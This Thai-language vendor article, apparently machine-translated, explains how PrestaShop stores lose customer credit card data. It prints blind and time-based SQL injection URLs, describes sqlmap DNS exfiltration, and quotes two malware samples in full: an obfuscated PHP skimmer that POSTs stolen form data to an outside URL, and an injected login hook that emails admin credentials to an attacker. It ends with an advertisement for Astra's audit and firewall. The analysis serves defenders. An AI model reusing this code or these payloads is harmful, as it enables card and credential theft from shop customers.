Computer >> คอมพิวเตอร์ >  >> ระบบเครือข่าย >> ความปลอดภัยของเครือข่าย

รายละเอียดบัตรเครดิตที่ขโมยมาจาก PrestaShop Store จะแก้ไข Credit Card Malware Hack ใน PrestaShop ได้อย่างไร

การทำธุรกรรมออนไลน์ได้เพิ่มความสะดวกในการทำธุรกิจอย่างแน่นอน แต่ด้วยความง่ายนี้ ความรับผิดชอบในการรักษาความปลอดภัยก็เข้ามา ร้านค้าอีคอมเมิร์ซที่ทำงานด้วย Prestashop มีข้อมูลที่ละเอียดอ่อนมากมาย ซึ่งรวมถึงรายละเอียดบัตรเครดิตของผู้ใช้ ดังนั้นข้อมูลนี้จึงทำให้เป็นเป้าหมายที่สุกงอมสำหรับผู้โจมตี การจี้บัตรเครดิตของ Prestashop เพิ่มขึ้นเรื่อยๆ เนื่องจากความนิยมของโซลูชันอีคอมเมิร์ซนี้ สามารถรับรองความง่ายในการติดตั้งและบำรุงรักษา ตามหนังสือ PrestaShop 1.5 Beginner's Guide ,

Prestashop Credit Card Hijack:อาการ

การจี้บัตรเครดิต Prestashop สามารถทำได้หลายวิธี อาจเป็นสคริปต์ที่เป็นอันตรายบนเซิร์ฟเวอร์หรือบรรทัดของ Javascript บ่อยครั้งอาจเป็นการฉีด SQL หรือหน้าฟิชชิ่ง ดังนั้นความเป็นไปได้ที่หลากหลายนี้จึงทำให้ยากต่อการตรวจจับ อย่างไรก็ตาม มีสัญญาณบางอย่างที่สามารถโจมตีได้:

  • ตารางฐานข้อมูลที่ไม่รู้จักก่อนหน้านี้ เช่น Sqlmap ปรากฏขึ้น
  • บัญชีผู้ดูแลระบบที่ไม่รู้จักปรากฏบนแดชบอร์ด
  • บัตรเครดิตของลูกค้าถูกขโมย
  • เข้าสู่ระบบแดชบอร์ดจาก IP ที่ไม่รู้จัก
  • หน้าใหม่ที่ไม่รู้จักปรากฏบนเว็บไซต์
  • ไซต์เปลี่ยนเส้นทางไปยังโดเมนที่ไม่รู้จัก
  • การวิเคราะห์แพ็กเก็ต Wireshark แสดงข้อมูลที่ส่งไปยังโดเมนที่ไม่เหมาะสม
  • ผู้ใช้บ่นเกี่ยวกับปัญหาที่เกี่ยวข้องกับการชำระเงิน
  • บันทึกของเซิร์ฟเวอร์แสดงกำลังเดรัจฉานหรือความพยายามในการฉีด SQL
รายละเอียดบัตรเครดิตที่ขโมยมาจาก PrestaShop Store จะแก้ไข Credit Card Malware Hack ใน PrestaShop ได้อย่างไร

รายละเอียดบัตรเครดิตถูกขโมยจากร้าน Prestashop ของคุณหรือไม่. ส่งข้อความถึงเราบนวิดเจ็ตการแชท เรายินดีที่จะช่วยเหลือคุณ แก้ไขเว็บไซต์ Prestashop ของฉันทันที

Prestashop Credit Card Hijack:สาเหตุ

การฉีด SQL ใน Prestashop

การฉีด SQL สามารถประนีประนอมฐานข้อมูลของร้านค้า Prestashop ของคุณ สาเหตุหลักของ SQLi คือการขาดการดูแลอินพุต นักพัฒนามักไม่ปรับใช้แนวทางการเข้ารหัสที่ปลอดภัย ด้วยเหตุนี้ ช่องโหว่เช่น SQLi และ XSS จึงเกิดขึ้นในโค้ด ช่องโหว่ SQLi แบบ zero-day สำหรับ Prestashop เผยแพร่ในปี 2014 คอมโพเนนต์ที่มีช่องโหว่คือ id_manifacturer . URL แบบเต็มได้รับด้านล่าง

https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3[SQL-injection]

ใน URL ต่อไปนี้ สามารถใส่ข้อความสั่งหลังจาก id_manufacturer นอกจากนี้ ยังเป็น Blind SQLi ชนิดหนึ่ง โดยพื้นฐานแล้วข้อมูลจะถูกดึงออกมาในรูปแบบบูลีนเท่านั้น ในบางครั้ง นักพัฒนาจะระงับข้อผิดพลาดภายใน สิ่งนี้ทำเพื่อหลีกเลี่ยงผู้โจมตีจากการค้นพบช่องโหว่ อย่างไรก็ตาม หากเซิร์ฟเวอร์ยังคงดำเนินการคำสั่ง ข้อมูลก็สามารถดึงออกมาในรูปแบบบูลีนได้ นี่เป็นกรณีของ SQLi ที่ตาบอด แม้ว่าจะต้องทำการร้องขอหลายรายการเพื่ออ่านเนื้อหาของฐานข้อมูล สิ่งนี้ทำให้การแสวงหาผลประโยชน์ด้วยตนเองใช้เวลานาน เพื่อตรวจสอบ SQLi ตาบอด

https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and 1=1

ขั้นแรกดูว่าคำสั่งนี้ดำเนินการเป็นจริงหรือไม่ ประการที่สอง คำสั่งที่=3 and 1=2 ดำเนินการเป็นเท็จ นี่เป็นกรณีของ SQLi ที่ตาบอดอย่างแน่นอน อย่างไรก็ตาม ในบางครั้งอาจเป็น SQLi แบบบอดตามเวลา ในสถานการณ์นั้น เซิร์ฟเวอร์จะให้คำติชมบูลีนหลังจากเวลาหนึ่ง เช่น

https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and if(1=1, sleep(10), false)

ที่นี่ผู้ใช้จะต้องรอ 10 วินาที . หลังจากนั้นเซิร์ฟเวอร์จะส่งการตอบกลับจริงหรือเท็จตามการสืบค้น

การเอารัดเอาเปรียบอัตโนมัติ

การเอารัดเอาเปรียบอาจดูเป็นงานที่ต้องใช้ความอุตสาหะ แต่มีเครื่องมืออัตโนมัติที่พร้อมใช้งาน Sqlmap สามารถใช้ประโยชน์จากมันสำหรับผู้โจมตีได้อย่างง่ายดาย หลังจากนั้นผู้โจมตีสามารถอ่านตารางได้ps_payment_cc . ตารางนี้มีคอลัมน์id_order_payment,card_number,card_brand,card_expiration . จึงขโมยรายละเอียดบัตรที่บันทึกไว้ทั้งหมด ในกรณีที่ตารางมีขนาดใหญ่ ผู้โจมตีสามารถเร่งการโจมตีโดยใช้การสืบค้น DNS เนื่องจาก Sqlmap มาพร้อมกับตัวเลือก--dns-domain= . ดังนั้นผู้โจมตีจึงสามารถกรองข้อมูลโดยใช้การสืบค้น DNS แทนการส่งออกตามเวลาที่ช้า อย่างไรก็ตาม ผู้โจมตีจะต้องควบคุมเครื่องที่ลงทะเบียนเป็นเซิร์ฟเวอร์ DNS ดังนั้นจึงเป็นเรื่องสำคัญที่จะต้องคอยติดตามการสืบค้น DNS ที่ออกจากเซิร์ฟเวอร์ของคุณ อย่างไรก็ตาม ไม่แนะนำให้เก็บข้อมูลบัตรเครดิตของผู้ใช้ไว้บนเซิร์ฟเวอร์ เว้นแต่ผู้ดูแลระบบจะทำการตรวจสอบความปลอดภัยของ Prestashop และทดสอบการทดสอบเป็นประจำ แม้ว่าทั้งหมดนี้สามารถหลีกเลี่ยงได้หากนักพัฒนาใช้คำสั่งที่เตรียมไว้!

มัลแวร์ Prestashop บัตรเครดิต

บางครั้งการแฮ็กบัตรเครดิตใน Prestashop อาจเกิดจากสคริปต์ที่เป็นอันตรายในไซต์ของคุณ ผู้โจมตีใช้ประโยชน์จากไซต์ก่อนโดยใช้เทคนิคที่รู้จัก โดยส่วนใหญ่แล้วจะเป็นหนึ่งใน 10 อันดับแรกของ OWASP หลังจากนั้นจึงติดตั้งมัลแวร์ มัลแวร์นี้เชื่อมต่อกับฐานข้อมูลก่อน จากฐานข้อมูล มันก็จะขโมยข้อมูลบัตรเครดิต ซึ่งมักจะมีอยู่ในps_payment_cc ตาราง

รายละเอียดบัตรเครดิตที่ขโมยมาจาก PrestaShop Store จะแก้ไข Credit Card Malware Hack ใน PrestaShop ได้อย่างไร

ด้านบนนี้เป็นข้อมูลโค้ดของสคริปต์การจี้บัตรเครดิตของ PrestaShop ที่นี่สคริปต์เชื่อมต่อกับฐานข้อมูลก่อน หลังจากนั้นจะขโมยข้อมูลบัตรเครดิตจากฐานข้อมูล

มาดูมัลแวร์บัตรเครดิตอีกหนึ่งตัวที่ติด/vendor/composer/autoload_real.php ไฟล์

class SiF
{
function __construct($conf)
{
$this->encrypt = FALSE;
$this->in = $_POST;
$this->test = isset($this->in['siftest']);
$conf = explode('SiF', str_rot13($conf));
if(count($conf)!=2)return;
$this->key = $conf[0];
$conf = explode('|', base64_decode($conf[1]));
$s = array_shift($conf);
$s = explode(';;', $s);
$this->conf = array();
foreach($s AS $d)
{
$d = explode('::', $d);
if(count($d)==2) $this->conf[trim($d[0])] = trim($d[1]);
}
array_shift($conf);
$this->data = $conf;
$this->get();
if($this->test) $this->out('[sifok]');
} function get() { if($this->search($this->data[0])===FALSE) return; foreach($this->data AS $i => $v) { $v = $this->search($v); $this->data[$i] = $v===FALSE ? '' : $this->crypt($v); } $this->set(); } function set() { $data = implode('|', $this->data); $data = $this->crypt('SiF').'|'.$data; if(!$this->encrypt) $data = base64_encode($data); $data = $this->post_fgc($data); if($this->test) $this->out($data); } function get_fgc($data) { $url = $this->conf['url'].'?'.$this->conf['param'].'='.urlencode($data); if($this->test) $url .= '&test'; return file_get_contents($url); } function post_fgc($data) { $data = array($this->conf['param'] => $data); $options = array( 'http' => array( 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data) ) ); $context = stream_context_create($options); return file_get_contents($this->conf['url'], false, $context); } function search($key) { $f = $this->in; if(preg_match_all('/(?:^|\[)([^\[\]]+)/s', trim($key), $a)) { foreach($a[1] AS $v) { if(is_array($f) && isset($f[$v])) $f = $f[$v]; else return FALSE; } return $f; } return FALSE; } function crypt($s) { if(function_exists('openssl_public_encrypt')) { $key = "-----BEGIN PUBLIC KEY-----\n".$this->key."\n-----END PUBLIC KEY-----"; if(@openssl_public_encrypt($s, $code, $key)) { $this->encrypt = TRUE; return base64_encode($code); } } return $s; } function out($s) { echo $s; exit; } } new SiF('ZVTsZN0TPFdTFVo3QDRONDHNN4TANQPOvDXOtDQG7ZWRtSDNht63nRT/RT2LPUJFPT1Eg4snl3Dvg0BDTc7SS0o//K7XbiRS3fZ+SCHEL+UP7dtvdinygJCfNRxDPgghOSrx2xH2p9A/pqf0zLW5Q4GZPVeoGZFtQesyvSRGDwlFT5Zf4ScH9A40ahDkBRZol/0lbDp8zAou8Njv1DVQNDNOFvSqKWfBwcbqUEjpmbiY2ygM3A0LKDho3WaY3ZiZGR7B3OupzSgBwcxsTMipz18MTIfnKMypaysoaIgsTEyoTy2MKW5K2I4pS9go250nUkxMJkcqzIlrI9yrUOsrJIupakxMJkcqzIlrI9wqaM8MTIfnKMypayspT9mqTAiMTI8MTIfnKMypaysMzylp3EhLJ1ysTEyoTy2MKW5K2kup3EhLJ1ysTEyoTy2MKW5K2yxK2AiqJ50pay8MTIfnKMypaysL2y0rKkxMJkcqzIlrI9cMS9mqTS0MKkxMJkcqzIlrI9jnT9hMKkxMJkcqzIlrI9uMTElMKAmZKk8MJ1unJksL29hMzyloJS0nJ9h'

สคริปต์ที่เป็นอันตรายคือระยะที่สองของการโจมตี ในระยะแรกช่องโหว่ที่ทราบบางจุดถูกนำไปใช้ประโยชน์ หลังจากที่อัปโหลดสคริปต์ขโมยข้อมูลรับรองแล้ว ดังนั้นจึงไม่แนะนำให้เก็บข้อมูลไว้ในฐานข้อมูล สำหรับร้านค้าอีคอมเมิร์ซ ขอแนะนำให้ทำการตรวจสอบความปลอดภัยและทดสอบเพื่อค้นหาวิธีที่เป็นไปได้ทั้งหมดที่จะแทรกมัลแวร์ลงในเว็บไซต์ของคุณ

รายละเอียดบัตรเครดิตที่ขโมยมาจาก PrestaShop Store จะแก้ไข Credit Card Malware Hack ใน PrestaShop ได้อย่างไร

ฟิชชิ่ง

สามารถใช้ฟิชชิ่งเพื่อจี้ Prestashop Credit card ขนาดใหญ่ได้ โดยทั่วไปแล้วผู้โจมตีจะสร้างหน้าเข้าสู่ระบบปลอม ผู้ใช้อาจไม่สามารถแยกแยะได้ ดังนั้นพวกเขาจึงอาจเปิดเผยข้อมูลที่ละเอียดอ่อนซึ่งนำไปสู่การแฮ็กบัตรเครดิตใน Prestashop มีหลายวิธีที่หน้าเหล่านี้อาจถูกสร้างขึ้น บางส่วนได้แก่:

  • XSS :ผู้โจมตีใช้ XSS เพื่อโหลดสคริปต์ที่เป็นอันตรายจากโดเมนที่เป็นอันตราย สคริปต์นี้แทนที่เนื้อหาของหน้าเดิม หน้านี้ถูกแทนที่ด้วยหน้าเข้าสู่ระบบฟิชชิ่ง หลังจากนั้นผู้ใช้ส่งข้อมูลในหน้าเหล่านั้น หน้าฟิชชิงส่งข้อมูลนี้ไปยังโดเมนที่ควบคุมโดยผู้โจมตี
  • SQLi :ผู้โจมตีอาจได้รับเชลล์แบบย้อนกลับโดยใช้การฉีด SQL การใช้ reverse shell นี้ ผู้โจมตีอาจแทนที่หน้าการชำระเงินเดิมด้วยหน้าฟิชชิ่ง
  • FTP :พอร์ต FTP ถูกเปิดขึ้นสู่อินเทอร์เน็ต หลังจากนั้นผู้โจมตีอาจได้รับข้อมูลรับรองการเข้าสู่ระบบ หลังจากนั้นจึงสร้างหน้าฟิชชิ่ง
  • ซีโร่เดย์ :ผู้โจมตีอาจได้รับ reverse shell เนื่องจากช่องโหว่ zero-day เนื่องจากการติดตั้งล้าสมัย จึงสร้างหน้าชำระเงินปลอม จึงนำไปสู่การจี้บัตรเครดิต Prestashop!

ข้อมูลประจำตัวที่อ่อนแอ

ข้อมูลประจำตัวที่อ่อนแอเป็นสาเหตุหลักที่อยู่เบื้องหลังการจี้บัตรเครดิตของ Prestashop รหัสผ่านที่ไม่รัดกุมสามารถทำลายได้โดยใช้การโจมตีแบบเดรัจฉาน เมื่อผู้โจมตีได้รับรหัสผ่านแล้ว แดชบอร์ดจะเปิดขึ้น จากนี้ไปผู้โจมตีบางคนจะใช้แนวทางที่แตกต่างออกไป แทนที่จะรอและรวบรวมข้อมูลการสมัครจากฐานข้อมูลอย่างเฉยเมย ผู้โจมตีแทรกหน้าด้วยรหัสเพื่อส่งข้อมูลนั้นแบบไดนามิก ตัวอย่างเช่น มัลแวร์ประเภทหนึ่งแทรกโค้ดลงในไฟล์/controllers/admin/AdminLoginController.php . โดยทั่วไปแล้วโค้ดที่เป็นอันตรายจะมีลักษณะดังนี้

public function processLogin()
   {
       /* Check fields validity */
       $passwd = trim(Tools::getValue('passwd'));
       $email = trim(Tools::getValue('email'));
$to = "[email protected]";
$subject = "panel admin prestashop ". $_SERVER['SERVER_NAME'];
$header = "from: hacked <[email protected]>";
$message = "Link : https://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
$sentmail1 = @mail($to, $subject, $message, $header);

ที่นี่โค้ดในสองสามบรรทัดแรกกำลังรวบรวมตัวแปรทั้งหมด หลังจากนั้นฟังก์ชัน PHP จะส่งอีเมลไปยังบัญชีของผู้โจมตี ในกรณีนี้ มันคือ [email protected] . พารามิเตอร์ต่างๆ ที่ส่งมีดังนี้:

  • ถึง: ข้อมูลนี้มีรหัสอีเมลของผู้โจมตีที่จะส่งข้อมูล ในกรณีนี้คือ[email protected]
  • เรื่อง: ซึ่งมีข้อความต่อไปนี้ panel admin prestashop www.infectedDomain.com .
  • ส่วนหัว: ส่วนหัวมีข้อความ hacked <[email protected]> .
  • ข้อความส่วนที่ 1 :พารามิเตอร์นี้มีข้อมูลที่ละเอียดอ่อนทั้งหมด ซึ่งรวมถึงโดเมนที่ติดไวรัส ในกรณีนี้https://www.attackeddomain.com . หลังจากนั้น URI ซึ่งก็คือ/admins/ajax-tab.php?rand=1470989908670&up=hous . ตามด้วยอีเมล [email protected] . และสุดท้ายรหัสผ่าน นี่อาจเป็นสตริงสุ่มใดๆ ที่ผู้ใช้ป้อน ในที่สุดก็มีข้อความสุ่มซึ่งก็คือby bajatax — sniper :v .
  • ข้อความส่วนที่ 2 :ส่วนที่สองของข้อความมีเส้นทางภายในของไฟล์ที่ติดไวรัส ในกรณีนี้/usr/home/www.attackeddomain.com/web/controllers/admin/AdminLoginController.php .

อย่างไรก็ตาม หลังการค้นพบมัลแวร์ Google ได้บล็อกบัญชี Gmail ของผู้โจมตี หลังจากนั้นก็พบมัลแวร์รูปแบบใหม่นี้ ซึ่งก่อนอื่นตรวจสอบว่าสามารถส่งอีเมลไปยังผู้โจมตีได้หรือไม่ ในกรณีที่ไม่ใช่ รายละเอียดจะถูกบันทึกลงในไฟล์ในเครื่องที่ชื่อว่า uspas.txt . ในขั้นตอนต่อไป ผู้โจมตีสามารถรับข้อมูลบัตรเครดิตได้เช่นเดียวกับการลงทะเบียนของผู้ใช้ นี่เป็นการสรุปการจี้บัตรเครดิต Prestashop!

การตรวจสอบความปลอดภัยและไฟร์วอลล์ของ Prestashop

การตรวจสอบความปลอดภัยของแอสตร้า

เพื่อให้ร้านค้า Prestashop ปลอดภัย ต้องหาช่องโหว่ให้เจอ สิ่งเหล่านี้สามารถเปิดเผยได้โดยใช้การตรวจสอบความปลอดภัยที่สมบูรณ์เท่านั้น มีโซลูชั่นมากมายในตลาด เช่นเดียวกับที่ Astra จัดให้

การมีส่วนร่วมกับ Astra จะให้บริการดังต่อไปนี้:

  1. ช่องโหว่ทั่วไปที่เป็นที่รู้จัก เช่น SQLi, XSS, สแปม และอื่นๆ 80+
  2. การประเมินช่องโหว่และการทดสอบการเจาะระบบ (VAPT)
  3. นอกจากนี้ยังตรวจพบข้อบกพร่องในการจัดการราคาอีกด้วย นอกจากนี้ยังสามารถค้นหาข้อผิดพลาดทางตรรกะทางธุรกิจได้อีกด้วย
  4. การวิเคราะห์โค้ดแบบคงที่และแบบไดนามิก
  5. ความช่วยเหลือด้านเทคนิคในการแพตช์พบช่องโหว่ด้านความปลอดภัย
  6. Collaborative Cloud Dashboard สำหรับการรายงานช่องโหว่
  7. เข้าถึงเครื่องมือรักษาความปลอดภัย/API ของเรา
  8. ที่ปรึกษาแนวทางปฏิบัติที่ดีที่สุดด้านความปลอดภัยของเว็บ
  9. ค้นพบพอร์ตที่เปิดสู่อินเทอร์เน็ต
  10. ค้นหาการกำหนดค่าเซิร์ฟเวอร์ที่ผิดพลาดที่ทราบ
  11. การตรวจจับการคลิกแจ็ค
  12. การตรวจสอบและการอนุญาตใช้งานไม่ได้
  13. ค้นหาจุดบกพร่องของการยกระดับสิทธิ์
  14. ช่องโหว่ในปลั๊กอินของบุคคลที่สามและอีกมากมาย

การทดสอบได้รับการปรับแต่งและปรับแต่งอย่างสูงตามเว็บไซต์และข้อกำหนด

ขอบเขตการทดสอบความปลอดภัยทั่วไป:

  1. เว็บแอปพลิเคชันของลูกค้า
  2. การจัดการและการรวมการชำระเงิน
  3. พอร์ทัลการดูแลระบบ
  4. API และบริการเว็บ

แอสตร้าไฟร์วอลล์

ไฟร์วอลล์ Prestashop ช่วยให้แน่ใจว่าบล็อกการเข้าถึงร้านค้า Prestashop ของคุณโดยไม่ได้รับอนุญาต การรับส่งข้อมูลขาเข้าทั้งหมดจะถูกสแกน ด้วยเหตุนี้คำขอที่เป็นอันตรายจึงลดลง ไฟร์วอลล์ Astra สแกนหาการอัปโหลดมัลแวร์ การพยายามอัปโหลดสคริปต์จี้บัตรเครดิตของ Prestashop จะถูกบล็อก แอสตร้ายังติดตามกิจกรรมการเข้าสู่ระบบ ดังนั้นหากแดชบอร์ดถูกบุกรุก ผู้ใช้จะได้รับแจ้ง นอกจากนั้น Astra ยังช่วยให้มั่นใจว่าการติดตั้งเป็นปัจจุบัน ดังนั้นจึงให้การปกป้องร้านค้าของคุณตลอด 24 ชั่วโมง!